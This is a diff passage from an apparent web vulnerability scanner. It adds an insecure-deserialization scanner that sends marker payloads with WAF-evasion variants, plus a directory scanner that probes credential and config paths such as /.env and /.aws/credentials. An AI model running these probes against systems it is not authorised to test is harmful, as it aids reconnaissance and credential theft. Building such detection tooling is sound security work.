+                        remediation=f"Update {lib} to the latest stable version.\n"
+                            f"See: https://nvd.nist.gov/vuln/detail/{cve}",
+                    )
+
+    # ------------------------------------------------------------------
+    def _probe(self, url: str) -> tuple:
+        try:
+            req = urllib.request.Request(url,
+                headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
+            with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
+                return r.read().decode("utf-8", errors="ignore"), r.status
+        except urllib.error.HTTPError as e:
+            return "", e.code
+        except Exception as e:
+            self.log("ERROR", f"[Deps] Probe error: {e}")
+            return None, 0
+
+    def _resolve_url(self, src: str) -> str:
+        if src.startswith("//"):
+            return f"https:{src}"
+        if src.startswith("/"):
+            return f"{self.target.rstrip('/')}{src}"
+        if not src.startswith("http"):
+            return f"{self.target.rstrip('/')}/{src}"
+        return src

backend/scanners/deserialization_scanner.py

@@ -0,0 +1,373 @@
+"""
+deserialization_scanner.py — Insecure Deserialization Scanner
+==============================================================
+Expert-grade rewrite (GAP-006 fix):
+  1. Scans Set-Cookie headers (original)
+  2. Scans POST/PUT request bodies for serialized content
+  3. Scans custom headers (X-Java-Serialized-Object, X-Serialized-Object)
+  4. Extended signatures: .NET ViewState, Ruby Marshal, Node ND_FUNC
+  5. Active probe: sends crafted Java serialized header and checks error signals
+  6. Fixes false-positive-prone PHP "O:" pattern (now length-validates)
+  7. Java, PHP, Python, .NET, Ruby YAML markers
+"""
+import base64, urllib.parse, json, re
+from scanners.base_scanner import BaseScanner
+from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
+from utils.evasion import waf_evade
+
+# ── Serialization signatures ──────────────────────────────────────────────
+SIGNATURES = {
+    "Java (ysoserial / ACED)": [
+        (lambda v: isinstance(v, bytes) and v.startswith(b"\xac\xed\x00\x05"), "raw_bytes"),
+        (lambda v: isinstance(v, str) and v.startswith("rO0AB"), "base64"),
+        (lambda v: isinstance(v, str) and "java.io.Serializable" in v, "raw"),
+        (lambda v: isinstance(v, str) and "java.beans" in v and "ObjectInputStream" in v, "raw"),
+    ],
+    "PHP Object Serialize": [
+        (lambda v: isinstance(v, str) and bool(re.match(r'O:\d+:"', v)), "raw"),
+        (lambda v: isinstance(v, str) and bool(re.match(r'a:\d+:\{', v)), "raw"),
+        (lambda v: isinstance(v, str) and bool(re.match(r'C:\d+:"', v)), "raw"),
+        (lambda v: isinstance(v, str) and bool(re.match(r'R:\d+;', v)), "raw"),
+    ],
+    "Python Pickle": [
+        (lambda v: isinstance(v, str) and "c__main__" in v, "raw"),
+        (lambda v: isinstance(v, str) and v.startswith("gASV"), "base64"),
+        (lambda v: isinstance(v, str) and v.startswith("gAN9cQAutSw="), "base64"),
+        (lambda v: isinstance(v, bytes) and v.startswith(b"\x80\x04\x95"), "raw_bytes"),
+        (lambda v: isinstance(v, bytes) and v.startswith(b"\x80\x05\x95"), "raw_bytes"),
+        (lambda v: isinstance(v, str) and "__reduce__" in v, "raw"),
+    ],
+    "Node.js (serialize-javascript)": [
+        (lambda v: isinstance(v, str) and "_$$ND_FUNC$$_" in v, "raw"),
+        (lambda v: isinstance(v, str) and "$$ND_OBJ$$_" in v, "raw"),
+    ],
+    ".NET ViewState": [
+        (lambda v: isinstance(v, str) and v.startswith("/wEy"), "base64"),
+        (lambda v: isinstance(v, str) and "__VIEWSTATE" in v and len(v) > 40, "form_field"),
+        (lambda v: isinstance(v, str) and v.startswith("/wE"), "base64"),
+        (lambda v: isinstance(v, str) and "__EVENTVALIDATION" in v and len(v) > 20, "form_field"),
+    ],
+    "Ruby Marshal": [
+        (lambda v: isinstance(v, bytes) and v.startswith(b"\x04\x08"), "raw_bytes"),
+        (lambda v: isinstance(v, str) and v.startswith("BAh"), "base64"),
+        (lambda v: isinstance(v, str) and "ruby/object:" in v, "raw"),
+    ],
+    "Ruby YAML": [
+        (lambda v: isinstance(v, str) and "!ruby/object:" in v, "raw"),
+        (lambda v: isinstance(v, str) and "!ruby/class:" in v, "raw"),
+    ],
+}
+
+# Active probe: a truncated Java serialized stream header (safe — won't RCE)
+JAVA_PROBE_HEADER = base64.b64encode(b"\xac\xed\x00\x05t\x00\x1dWSS-DESER-SAFE-PROBE").decode()
+
+JAVA_PAYLOADS = [
+    (b"\xac\xed\x00\x05t\x00\x1dWSS-DESER-SAFE-PROBE", "application/x-java-serialized-object", "Java ACED magic bytes"),
+    (b"\xac\xed\x00\x05sr\x00\x0cwss.Calc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "application/x-java-serialized-object", "Java gadget probe"),
+]
+
+PHP_PAYLOADS = [
+    (b'O:10:"WssProbe":1:{s:4:"test";s:2:"ok";}', "application/x-www-form-urlencoded", "PHP serialize mark"),
+    (b'a:2:{s:4:"test";s:2:"ok";s:4:"waka";s:3:"waka";}', "application/x-www-form-urlencoded", "PHP array serialized"),
+    (b'C:10:"WssProbe":8:{testdata}', "application/x-www-form-urlencoded", "PHP custom serialized"),
+]
+
+PYTHON_PICKLE_PAYLOADS = [
+    (b"\x80\x05\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.", "application/octet-stream", "Python pickle (protocol 5)"),
+    (b"\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.", "application/octet-stream", "Python pickle (protocol 4)"),
+    (b"gASVHQAAAAAAAABdlCh9lCiMAXABlIwFdGVzdJRSlJRSlIWUUpQa", "application/python-pickle", "Python pickle base64"),
+]
+
+DOTNET_VIEWSTATE_PAYLOADS = [
+    (b"/wEyWSS==", "application/x-www-form-urlencoded", ".NET ViewState probe"),
+    (b"/wE", "application/x-www-form-urlencoded", ".NET ViewState short"),
+]
+
+RUBY_YAML_PAYLOADS = [
+    (b"--- !ruby/object:WssProbe\nname: test\n", "application/x-yaml", "Ruby YAML object"),
+    (b"--- !ruby/class:WssProbe\n", "application/x-yaml", "Ruby YAML class"),
+]
+
+DESER_RESPONSE_SIGNALS = [
+    "ClassNotFoundException", "ObjectInputStream", "deserializ",
+    "java.io", "InvalidClassException", "readObject",
+    "unserialize", "Serializable", "PersistenceException",
+    "com.sun.jndi", "log4j", "jndi:", "InvocationTargetException",
+]
+
+
+class DeserializationScanner(BaseScanner):
+    SCANNER_NAME = "Insecure Deserialization Scanner"
+    _SCANNER_KEY = "deserialization"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[Deserialization] Scanning {self.target}...")
+
+        self._timing_detector = TimingAnomalyDetector()
+
+        body, status, headers = self._make_request(self.target, return_response_obj=True)
+        if headers:
+            self._check_response_headers(headers)
+
+        self._check_url_params()
+
+        self._test_active_post()
+
+        self._test_header_injection()
+
+        self._test_yaml_pickle_probes()
+
+        self._test_expanded_formats()
+
+        self._test_timing_deser()
+
+        if not self.vulns:
+            self.log("SUCCESS", "[Deserialization] No insecure deserialization detected.")
+        return self.vulns
+
+    # ── 1. Response headers / cookies ────────────────────────────────────
+    def _check_response_headers(self, headers):
+        cookies = []
+        try:
+            all_cookies = headers.get_all("Set-Cookie") or []
+            cookies.extend(all_cookies)
+        except Exception as e:
+            self.log("ERROR", f"[Deserialization] Failed to parse cookies: {e}")
+
+        for cookie in cookies:
+            parts = cookie.split(";")
+            if not parts: continue
+            c_val = parts[0].split("=", 1)
+            if len(c_val) == 2:
+                name, val = c_val[0].strip(), urllib.parse.unquote(c_val[1].strip())
+                self._check_value("Cookie", name, val)
+
+    # ── 2. URL params ─────────────────────────────────────────────────────
+    def _check_url_params(self):
+        parsed = urllib.parse.urlparse(self.target)
+        for k, v in urllib.parse.parse_qsl(parsed.query):
+            self._check_value("URL param", k, urllib.parse.unquote(v))
+
+    # ── 3. Active POST body probing ───────────────────────────────────────
+    def _test_active_post(self):
+        probes = JAVA_PAYLOADS + PHP_PAYLOADS + PYTHON_PICKLE_PAYLOADS + DOTNET_VIEWSTATE_PAYLOADS + RUBY_YAML_PAYLOADS
+
+        for payload_bytes, content_type, label in probes:
+            body, status = self._make_request(
+                self.target, "POST", payload_bytes,
+                {"Content-Type": content_type}
+            )
+            if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
+                self.log("CRITICAL", f"[Deserialization] Active probe triggered deser signal: {label}")
+                self.add_vuln(
+                    title=f"Active Deserialization Response — {label}",
+                    severity="Critical",
+                    category="Insecure Deserialization",
+                    cvss_score=9.8,
+                    cwe_ids=["CWE-502"],
+                    owasp_category="A08:2021 – Software and Data Integrity Failures",
+                    confidence="High",
+                    cve_ids=[],
+                    references=["https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization"],
+                    description=(
+                        f"Sending a crafted `{label}` payload to `{self.target}` triggered "
+                        f"deserialization error signals in the response (`{status}`).\n\n"
+                        "The server appears to be deserializing the untrusted POST body, "
+                        "which can lead to Remote Code Execution via gadget chains."
+                    ),
+                    remediation=(
+                        "1. Never deserialize untrusted data.\n"
+                        "2. Use safe formats: JSON, XML with schema validation.\n"
+                        "3. Implement deserialization allowlisting (Java: `ObjectInputFilter`).\n"
+                        "4. Run deserialization in a sandboxed/restricted ClassLoader.\n"
+                        "5. Deploy serialization kill-switches (ysoserial DefensiveObjectInputStream)."
+                    ),
+                    payload=label,
+                    evidence=f"Error signal matched for {label}",
+                    request_details=f"POST {self.target} Content-Type: {content_type}",
+                    response_details=f"HTTP {status} with error signal in response",
+                )
+                return
+
+    # ── 4. Header injection probe ─────────────────────────────────────────
+    def _test_header_injection(self):
+        headers_to_test = {
+            "X-Java-Serialized-Object": JAVA_PROBE_HEADER,
+            "X-Serialized-Object":      JAVA_PROBE_HEADER,
+            "X-ViewState":              "/wEyWSS==",
+            "X-Yaml-Object":            base64.b64encode(b"--- !ruby/object:WssProbe\nname: test\n").decode(),
+            "X-Pickle-Object":          base64.b64encode(b"\x80\x05\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.").decode(),
+            "X-PHP-Serialize":          base64.b64encode(b'O:10:"WssProbe":1:{s:4:"test";s:2:"ok";}').decode(),
+        }
+        for header_name, value in headers_to_test.items():
+            for eva_name, eva_value in waf_evade(value):
+                body, status = self._make_request(self.target, headers={header_name: eva_value})
+                if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
+                    self.add_vuln(
+                        title=f"Deserialization via HTTP Header `{header_name}`",
+                        severity="Critical",
+                        category="Insecure Deserialization",
+                        cvss_score=9.8,
+                        cwe_ids=["CWE-502"],
+                        owasp_category="A08:2021 – Software and Data Integrity Failures",
+                        confidence="High",
+                        description=(
+                            f"Injecting a serialized object via the `{header_name}` header triggered "
+                            "deserialization error signals, suggesting the application deserializes "
+                            "this header value without validation."
+                        ),
+                        remediation=(
+                            "Reject or ignore custom serialization headers unless explicitly required. "
+                            "Validate and type-check all incoming data before deserialization."
+                        ),
+                        payload=eva_value[:50] + "...",
+                    evidence=f"Error signal matched for header {header_name}",
+                    request_details=f"GET {self.target} with {header_name} header",
+                    response_details=f"HTTP {status} with error signature",
+                )
+                return
+
+    # ── 5. YAML / Pickle probes ──────────────────────────────────────────
+    def _test_yaml_pickle_probes(self):
+        probes = [
+            (b"--- !ruby/object:WssProbe\nname: test\n",
+             "application/x-yaml", "Ruby YAML (header)"),
+            (b"\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.",
+             "application/python-pickle", "Python pickle (header)"),
+        ]
+        for payload_bytes, content_type, label in probes:
+            body, status = self._make_request(
+                self.target, headers={"X-Serialized-Payload": base64.b64encode(payload_bytes).decode()}
+            )
+            if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
+                self.log("CRITICAL", f"[Deserialization] {label} triggered error signal")
+                self.add_vuln(
+                    title=f"Deserialization Signal via Header — {label}",
+                    severity="Critical",
+                    category="Insecure Deserialization",
+                    cvss_score=9.5,
+                    cwe_ids=["CWE-502"],
+                    owasp_category="A08:2021 – Software and Data Integrity Failures",
+                    confidence="Medium",
+                    description=(
+                        f"Sending base64-encoded {label} via custom header triggered "
+                        "deserialization errors."
+                    ),
+                    remediation="Restrict custom headers. Validate all incoming data.",
+                    payload=label,
+                    evidence="Error signal in response",
+                    request_details=f"GET {self.target} with X-Serialized-Payload header",
+                    response_details=f"HTTP {status}",
+                )
+                return
+
+    # ── 6. Expanded format probing ────────────────────────────────────────
+    def _test_expanded_formats(self):
+        all_payloads = JAVA_PAYLOADS + PHP_PAYLOADS + PYTHON_PICKLE_PAYLOADS + DOTNET_VIEWSTATE_PAYLOADS + RUBY_YAML_PAYLOADS
+        for payload_bytes, content_type, label in all_payloads:
+            body, status = self._make_request(
+                self.target, "POST", payload_bytes,
+                {"Content-Type": content_type}
+            )
+            if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
+                self.add_vuln(
+                    title=f"Deserialization via POST — {label}",
+                    severity="Critical",
+                    category="Insecure Deserialization",
+                    cvss_score=9.8,
+                    cwe_ids=["CWE-502"],
+                    owasp_category="A08:2021 – Software and Data Integrity Failures",
+                    confidence="High",
+                    description=f"Sending `{label}` payload to {self.target} triggered deserialization error signals.",
+                    remediation="Never deserialize untrusted data. Use JSON/XML with schema validation.",
+                    payload=label,
+                    evidence=f"Error signal matched for {label}",
+                    request_details=f"POST {self.target} Content-Type: {content_type}",
+                    response_details=f"HTTP {status} with error signal",
+                )
+                return
+
+    # ── 7. Timing-based deserialization detection ─────────────────────────
+    def _test_timing_deser(self):
+        self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5, headers={})
+        for payload_bytes, content_type, label in JAVA_PAYLOADS[:2]:
+            _, _, elapsed = self._make_timed_request(
+                self.target, "POST", payload_bytes,
+                {"Content-Type": content_type}, timeout=15
+            )
+            if self._timing_detector.test_payload(f"deser_time_{label}", elapsed, label, z_threshold=2.5):
+                self.add_vuln(
+                    title=f"Possible Timing-Based Deserialization — {label}",
+                    severity="High",
+                    category="Insecure Deserialization",
+                    cvss_score=7.5,
+                    cwe_ids=["CWE-502"],
+                    owasp_category="A08:2021 – Software and Data Integrity Failures",
+                    confidence="Low",
+                    description=f"Sending `{label}` payload produced anomalous response time ({elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s), suggesting deserialization processing.",
+                    remediation="Never deserialize untrusted data. Implement ObjectInputFilter.",
+                    payload=label,
+                    evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s",
+                    request_details=f"POST {self.target} Content-Type: {content_type}",
+                    response_details=f"Response time: {elapsed:.2f}s",
+                )
+                return
+
+    # ── Signature checker ─────────────────────────────────────────────────
+    def _check_value(self, source: str, key: str, value: str):
+        self._match_signatures(source, key, value)
+
+        try:
+            padded = value + "=" * ((4 - len(value) % 4) % 4)
+            decoded_bytes = base64.b64decode(padded)
+            decoded_str = decoded_bytes.decode("utf-8", errors="ignore")
+            self._match_signatures(source, key, decoded_str, encoding="base64")
+            for tech, checks in SIGNATURES.items():
+                for fn, enc in checks:
+                    if enc == "raw_bytes" and fn(decoded_bytes):
+                        self._report(source, key, tech, "base64->bytes")
+        except Exception as e:
+            self.log("ERROR", f"[Deserialization] Base64 decode error: {e}")
+
+    def _match_signatures(self, source, key, content, encoding="raw"):
+        for tech, checks in SIGNATURES.items():
+            for fn, enc in checks:
+                if enc in ("raw", "form_field", "base64") and fn(content):
+                    if len(content) > 8:
+                        self._report(source, key, tech, encoding)
+                        return
+
+    def _report(self, source, key, tech, encoding):
+        if any(v["title"].startswith(f"Insecure Deserialization ({tech})") for v in self.vulns):
+            return
+        self.add_vuln(
+            title=f"Insecure Deserialization ({tech}) in {source}",
+            severity="Critical",
+            category="Insecure Deserialization",
+            cvss_score=9.8,
+            cwe_ids=["CWE-502"],
+            owasp_category="A08:2021 – Software and Data Integrity Failures",
+            confidence="High",
+            cve_ids=["CVE-2015-4852"] if "Java" in tech else [],
+            references=["https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html"],
+            description=(
+                f"Detected a **{tech}** serialized object in `{source}` -> `{key}` ({encoding}).\n\n"
+                "Untrusted deserialization typically leads to **Remote Code Execution (RCE)** "
+                "via gadget chains (e.g., ysoserial, phpggc)."
+            ),
+            remediation=(
+                "1. Use JSON/XML with schema validation instead of native serialization.\n"
+                "2. Implement type allowlisting before deserialization.\n"
+                "3. Java: use `ObjectInputFilter` (JDK 9+) to block unexpected classes.\n"
+                "4. PHP: set `allowed_classes` in `unserialize()` calls.\n"
+                "5. Monitor for deserialization exceptions in production logs."
+            ),
+            payload=key,
+            evidence=f"Serialization format: {tech}",
+            request_details=f"Source: {source}",
+            response_details=f"Encoded as: {encoding}",
+        )
+        self.log("CRITICAL", f"[Deserialization] {tech} signature in {source}:{key}")

backend/scanners/directory_scanner.py

@@ -0,0 +1,768 @@
+"""
+directory_scanner.py — Checks for exposure of sensitive files and directories.
+Tests a curated list of paths commonly left exposed on misconfigured web servers.
+No external dependencies required.
+"""
+from scanners.base_scanner import BaseScanner
+
+SENSITIVE_PATHS = [
+    # Source Control
+    ("/.git/config",            "Git Config Exposed",              "Critical", 9.8,
+     "The .git/config file reveals remote repository URLs, branches, and potentially credentials. Attackers can clone the entire source code.",
+     "Block .git access in web server:\n  Nginx: location ~ /\\.git { deny all; return 404; }\n  Apache: RedirectMatch 404 /\\.git"),
+
+    ("/.git/HEAD",              "Git Repository Accessible",       "Critical", 9.1,
+     "The .git directory is publicly accessible, allowing full source code reconstruction via git-dumper.",
+     "Block all access to the .git directory. Never deploy web apps with .git directories in the web root."),
+
+    ("/.svn/entries",           "SVN Repository Exposed",          "High",     7.5,
+     "Subversion metadata is publicly accessible, potentially exposing source code and history.",
+     "Block .svn directory access at the web server level and remove .svn directories from your web root."),
+
+    ("/.hg/",                   "Mercurial Repository Exposed",     "High",     7.5,
+     "Mercurial (Hg) repository directory is accessible, exposing version control data.",
+     "Block .hg directory access and remove from web root."),
+
+    # Environment & Config
+    ("/.env",                   ".env File Exposed",               "Critical", 9.8,
+     "The .env configuration file is publicly accessible. It typically contains database passwords, API keys, JWT secrets, and AWS credentials.",
+     "Never place .env files in the web root. Block with:\n  Nginx: location ~ /\\.env { deny all; }"),
+
+    ("/.env.local",             ".env.local File Exposed",         "Critical", 9.8,
+     "Local environment override file is accessible, potentially containing developer credentials.",
+     "Remove all .env variants from the web root and block access via server config."),
+
+    ("/.env.backup",            ".env Backup Exposed",             "Critical", 9.8,
+     "A backup of the environment configuration file is accessible.",
+     "Remove all .env backup files and block access at the web server level."),
+
+    ("/.env.production",        ".env.production File Exposed",    "Critical", 9.8,
+     "Production environment configuration is publicly accessible.",
+     "Remove production environment files from web root immediately."),
+
+    ("/.env.development",       ".env.development File Exposed",  "High",     7.5,
+     "Development environment configuration is accessible, potentially containing development credentials.",
+     "Remove development environment files from production deployments."),
+
+    ("/.env.staging",           ".env.staging File Exposed",       "High",     7.5,
+     "Staging environment configuration is accessible.",
+     "Remove staging environment files from public access."),
+
+    ("/config.php",             "PHP Config File Exposed",         "High",     7.5,
+     "A PHP configuration file containing database credentials may be readable.",
+     "Move config files above the web root or restrict access."),
+
+    ("/wp-config.php",          "WordPress Config Exposed",        "Critical", 9.8,
+     "WordPress configuration file is accessible, exposing database host, name, user, and password.",
+     "Ensure wp-config.php is not web-accessible. WordPress should normally protect this."),
+
+    ("/wp-config.php.bak",      "WordPress Config Backup Exposed", "Critical", 9.8,
+     "WordPress configuration backup file is accessible.",
+     "Remove all .bak files from web root immediately."),
+
+    ("/config/database.yml",    "Rails DB Config Exposed",         "Critical", 9.8,
+     "Ruby on Rails database configuration file is publicly accessible with database credentials.",
+     "Add config/database.yml to .gitignore and restrict web access."),
+
+    ("/appsettings.json",       "ASP.NET Config Exposed",          "High",     7.5,
+     "ASP.NET Core configuration file may expose connection strings and API keys.",
+     "Restrict web access to appsettings.json. Use Azure Key Vault or environment variables for secrets."),
+
+    ("/application.properties","Java Config Exposed",             "High",     7.5,
+     "Java/Spring application properties file may contain database credentials and API keys.",
+     "Move configuration files outside web root or use environment variables."),
+
+    ("/application.yml",        "YAML Config Exposed",             "High",     7.5,
+     "YAML configuration file may contain sensitive configuration data.",
+     "Restrict access to configuration files."),
+
+    ("/settings.py",            "Python Config Exposed",           "High",     7.5,
+     "Python Django settings file may contain secret keys and database credentials.",
+     "Move settings.py outside web root or use environment variables."),
+
+    ("/.htaccess",              ".htaccess File Exposed",           "Medium",   5.3,
+     "Apache .htaccess configuration file is readable, potentially revealing rewrite rules and security configurations.",
+     "Restrict access to .htaccess files."),
+
+    ("/.htpasswd",              ".htpasswd File Exposed",           "High",     7.5,
+     "Apache .htpasswd file contains password hashes for basic authentication.",
+     "Remove .htpasswd files from web root immediately."),
+
+    # Admin Panels
+    ("/admin",                  "Admin Panel Exposed",             "Medium",   5.3,
+     "An admin panel is publicly accessible. Exposed admin interfaces are prime targets for brute-force and credential stuffing attacks.",
+     "Restrict admin access to specific IP ranges:\n  Nginx: allow 10.0.0.0/8; deny all;"),
+
+    ("/administrator",          "Admin Panel Exposed",             "Medium",   5.3,
+     "Administrator panel is publicly accessible.",
+     "Restrict access and implement strong authentication."),
+
+    ("/wp-admin/",              "WordPress Admin Exposed",         "Medium",   5.3,
+     "WordPress admin login is publicly accessible, enabling brute-force attacks.",
+     "Use plugins like WP Cerber or Wordfence to limit login attempts. Consider hiding wp-admin via URL change."),
+
+    ("/wp-login.php",           "WordPress Login Exposed",         "Medium",   5.3,
+     "WordPress login page is publicly accessible.",
+     "Implement rate limiting and 2FA for WordPress logins."),
+
+    ("/phpmyadmin/",            "phpMyAdmin Exposed",              "High",     8.0,
+     "phpMyAdmin database management interface is publicly accessible. Default credentials are widely known.",
+     "Remove phpMyAdmin from public-facing servers. Access databases only via SSH tunnel."),
+
+    ("/adminer.php",            "Adminer DB Manager Exposed",      "High",     8.0,
+     "Adminer database management tool is publicly accessible on the production server.",
+     "Remove adminer.php from production. Use SSH tunnels for database management."),
+
+    ("/mysql/",                 "MySQL Admin Exposed",             "High",     8.0,
+     "MySQL administration interface is publicly accessible.",
+     "Remove MySQL admin interfaces from public access."),
+
+    ("/pgadmin/",               "pgAdmin Exposed",                "High",     8.0,
+     "PostgreSQL administration interface is publicly accessible.",
+     "Remove pgAdmin from public access."),
+
+    ("/solr/",                  "Apache Solr Exposed",             "Medium",   5.3,
+     "Apache Solr search interface is publicly accessible.",
+     "Restrict access to Solr admin interface."),
+
+    ("/elasticsearch/",         "Elasticsearch Exposed",           "Medium",   5.3,
+     "Elasticsearch interface is publicly accessible.",
+     "Restrict access to Elasticsearch."),
+
+    ("/kibana/",                "Kibana Exposed",                 "Medium",   5.3,
+     "Kibana dashboard is publicly accessible.",
+     "Restrict access to Kibana."),
+
+    ("/grafana/",               "Grafana Exposed",                "Medium",   5.3,
+     "Grafana dashboard is publicly accessible.",
+     "Restrict access to Grafana."),
+
+    ("/jenkins/",               "Jenkins Exposed",                "Medium",   5.3,
+     "Jenkins CI/CD server is publicly accessible.",
+     "Restrict access to Jenkins."),
+
+    ("/jira/",                  "Jira Exposed",                   "Medium",   5.3,
+     "Jira issue tracker is publicly accessible.",
+     "Restrict access to Jira."),
+
+    ("/confluence/",            "Confluence Exposed",             "Medium",   5.3,
+     "Confluence wiki is publicly accessible.",
+     "Restrict access to Confluence."),
+
+    # Backup Files
+    ("/backup.zip",             "Backup Archive Exposed",          "Critical", 9.1,
+     "A backup archive file is publicly downloadable. Backup files often contain full source code, databases, and configuration.",
+     "Remove all backup files from the web root. Store backups in secure, non-public locations."),
+
+    ("/backup.sql",             "SQL Backup Exposed",              "Critical", 9.8,
+     "A SQL database dump is publicly downloadable, exposing all database contents.",
+     "Remove SQL dumps from the web root immediately. Store in encrypted, access-controlled storage."),
+
+    ("/db.sql",                 "SQL Database Dump Exposed",       "Critical", 9.8,
+     "A SQL database dump file is publicly accessible.",
+     "Delete immediately and audit what data was exposed. Report to your data protection authority if personal data is involved."),
+
+    ("/backup.tar.gz",          "Tar Backup Exposed",              "Critical", 9.1,
+     "A tar.gz backup archive is publicly downloadable.",
+     "Remove all backup archives from web root."),
+
+    ("/backup.bak",             "Backup File Exposed",             "Critical", 9.1,
+     "A backup file is publicly accessible.",
+     "Remove all .bak files from web root."),
+
+    ("/database.sql",           "Database Dump Exposed",           "Critical", 9.8,
+     "Database dump file is publicly accessible.",
+     "Remove immediately and audit data exposure."),
+
+    ("/dump.sql",               "Database Dump Exposed",           "Critical", 9.8,
+     "Database dump file is publicly accessible.",
+     "Remove immediately."),
+
+    ("/.backup",                "Backup Directory Exposed",        "Critical", 9.1,
+     "A backup directory is publicly accessible.",
+     "Remove backup directories from web root."),
+
+    ("/backups/",               "Backups Directory Exposed",       "Critical", 9.1,
+     "Backups directory is publicly accessible.",
+     "Remove backups directory from web root."),
+
+    # Debug & Logs
+    ("/server.log",             "Server Log File Exposed",         "Medium",   5.3,
+     "A server log file is publicly readable, potentially revealing internal paths, errors, user data, and stack traces.",
+     "Ensure log files are stored outside the web root or protected by authentication."),
+
+    ("/error.log",              "Error Log Exposed",               "Medium",   5.3,
+     "The application error log is publicly accessible, revealing internal application errors and stack traces.",
+     "Move log files outside the web root and ensure they are never publicly accessible."),
+
+    ("/access.log",             "Access Log Exposed",              "Medium",   5.3,
+     "Access log file is publicly readable, potentially revealing user activity and internal paths.",
+     "Move access logs outside web root."),
+
+    ("/debug.log",              "Debug Log Exposed",               "Medium",   5.3,
+     "Debug log file is publicly accessible, revealing detailed debugging information.",
+     "Remove debug logs from production."),
+
+    ("/logs/",                  "Logs Directory Exposed",           "Medium",   5.3,
+     "Logs directory is publicly accessible.",
+     "Move logs directory outside web root."),
+
+    ("/phpinfo.php",            "phpinfo() Page Exposed",          "Medium",   5.3,
+     "A phpinfo() page reveals PHP configuration, extensions, environment variables, and server paths.",
+     "Delete phpinfo.php pages from production environments."),
+
+    ("/info.php",               "PHP Info Page Exposed",           "Medium",   5.3,
+     "PHP info page reveals server configuration.",
+     "Remove info.php from production."),
+
+    ("/test.php",               "Test Script Exposed",             "Medium",   5.3,
+     "Test script is publicly accessible, potentially revealing application internals.",
+     "Remove test scripts from production."),
+
+    ("/test/",                  "Test Directory Exposed",          "Medium",   5.3,
+     "Test directory is publicly accessible.",
+     "Remove test directories from production."),
+
+    # API & Metadata
+    ("/api/swagger.json",       "Swagger API Docs Exposed",        "Low",      3.1,
+     "Swagger/OpenAPI documentation is publicly accessible, mapping all API endpoints and their parameters.",
+     "Restrict API documentation access to authenticated users or trusted IP ranges in production."),
+
+    ("/api/openapi.json",       "OpenAPI Docs Exposed",            "Low",      3.1,
+     "OpenAPI documentation is publicly accessible.",
+     "Restrict access to API documentation."),
+
+    ("/api/docs",               "API Documentation Exposed",       "Low",      3.1,
+     "API documentation is publicly accessible.",
+     "Restrict access to API docs."),
+
+    ("/api/v1/users",           "Users API Endpoint Exposed",      "Medium",   5.3,
+     "A user listing API endpoint is publicly accessible without authentication.",
+     "Ensure all API endpoints require proper authentication and authorisation."),
+
+    ("/api/users",              "Users API Exposed",               "Medium",   5.3,
+     "Users API endpoint is publicly accessible.",
+     "Implement authentication on all user endpoints."),
+
+    ("/graphql",               "GraphQL Endpoint Exposed",         "Low",      3.1,
+     "GraphQL endpoint is publicly accessible.",
+     "Implement authentication on GraphQL endpoint."),
+
+    ("/.DS_Store",              ".DS_Store File Exposed",          "Low",      3.1,
+     ".DS_Store files (macOS metadata) can reveal directory structure and file names on the server.",
+     "Add .DS_Store to .gitignore and block access:\n  Nginx: location ~ /\\.DS_Store { deny all; }"),
+
+    ("/Thumbs.db",              "Thumbs.db Exposed",               "Low",      3.1,
+     "Windows thumbnail database file reveals file structure.",
+     "Block access to Thumbs.db files."),
+
+    # Cloud & CI/CD
+    ("/.aws/",                  "AWS Config Directory Exposed",     "Critical", 9.8,
+     "AWS configuration directory is accessible, potentially containing credentials.",
+     "Remove .aws directory from web root."),
+
+    ("/.aws/credentials",       "AWS Credentials Exposed",        "Critical", 9.8,
+     "AWS credentials file is publicly accessible.",
+     "Remove immediately and rotate all AWS credentials."),
+
+    ("/.kube/",                 "Kubernetes Config Exposed",       "Critical", 9.8,
+     "Kubernetes configuration directory is accessible.",
+     "Remove .kube directory from web root."),
+
+    ("/.github/",               "GitHub Config Exposed",           "High",     7.5,
+     "GitHub configuration directory is accessible.",
+     "Remove .github directory from web root."),
+
+    ("/.gitlab-ci.yml",        "GitLab CI Config Exposed",       "Medium",   5.3,
+     "GitLab CI configuration is accessible, potentially revealing CI/CD secrets.",
+     "Remove CI/CD configuration files from web root."),
+
+    ("/.travis.yml",           "Travis CI Config Exposed",        "Medium",   5.3,
+     "Travis CI configuration is accessible.",
+     "Remove CI configuration files from web root."),
+
+    ("/docker-compose.yml",     "Docker Compose Exposed",          "Medium",   5.3,
+     "Docker Compose configuration is accessible, potentially revealing service configuration.",
+     "Remove Docker configuration files from web root."),
+
+    ("/Dockerfile",             "Dockerfile Exposed",              "Medium",   5.3,
+     "Dockerfile is publicly accessible.",
+     "Remove Dockerfile from web root."),
+
+    ("/jenkinsfile",            "Jenkinsfile Exposed",              "Medium",   5.3,
+     "Jenkins CI configuration is accessible.",
+     "Remove Jenkinsfile from web root."),
+
+    # Development Tools
+    ("/composer.json",          "Composer Config Exposed",         "Medium",   5.3,
+     "PHP Composer configuration is accessible, revealing package dependencies.",
+     "Move composer.json outside web root."),
+
+    ("/composer.lock",          "Composer Lock Exposed",           "Low",      3.1,
+     "Composer lock file is accessible.",
+     "Move composer.lock outside web root."),
+
